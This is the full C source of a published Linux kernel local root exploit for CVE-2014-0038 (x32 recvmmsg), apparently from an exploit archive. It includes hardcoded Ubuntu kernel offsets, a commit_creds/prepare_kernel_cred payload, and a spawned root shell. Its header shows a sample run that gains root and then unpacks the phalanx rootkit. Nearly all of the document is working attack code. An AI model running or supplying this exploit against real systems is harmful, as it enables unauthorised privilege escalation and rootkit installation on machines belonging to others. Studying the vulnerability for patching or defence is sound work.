linux 3.4+ local root (CONFIG_X86_X32=y) Exploit

:
03.02.2014
:
linux 3.4+
:

/* 
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social

Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};

struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};

void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;

if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}

sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}

}

void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);

if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}

fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;

uname(&u);

for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}

if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}

mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;

srand(time(NULL));
port = (rand() % 30000)+1500;

commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

if(mmapped == -1) {
perror("mmap()");
exit(-1);
}

memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);

if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}

memset(msgs, 0, sizeof(msgs));

iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;

for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}

close(sockfd);

fprintf(stderr,"\n");

trigger();
}